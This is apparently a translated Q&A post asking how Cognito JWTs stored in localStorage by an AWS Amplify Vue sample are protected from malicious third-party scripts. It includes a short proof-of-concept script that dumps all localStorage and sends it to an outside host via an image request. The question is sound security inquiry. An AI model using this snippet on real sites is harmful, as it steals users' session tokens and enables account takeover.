1

我正在研究使用aws/aws-amplify的aws-samples/aws-amplify-vue示例。我试图了解JWT如何与Cognito一起用于身份验证,但我不明白身份验证后收到的 JWT 如何受到保护,不会被我可能正在使用的任何第三方 JavaScript 库泄露和使用。

我克隆了示例并按照说明进行设置。然后我修改index.html为包含一个额外的<script>

<script src="https://example.com/list-localstorage.js"></script>

然后我主持list-localstorage.jsexample.com内容是:

// Ref: https://stackoverflow.com/a/28306101/624726
var allStorage = Object.keys(localStorage).reduce(function(obj, str) { 
  obj[str] = localStorage.getItem(str); 
  return obj
}, {});

// Ref: https://stackoverflow.com/a/5049668/624726
(new Image).src = 'https://example.net/log-storage?' + JSON.stringify(allStorage);

当我查看 的访问日志时example.net,我看到我的 JWT 被记录下来。我能够验证idaccess令牌上的签名。

这些可用于访问受保护的内容吗?他们在做什么来防止(例如:)恶意 JavaScript 广告localStorage使用我的 JWT 读取和窃取所有数据?

4

0 回答 0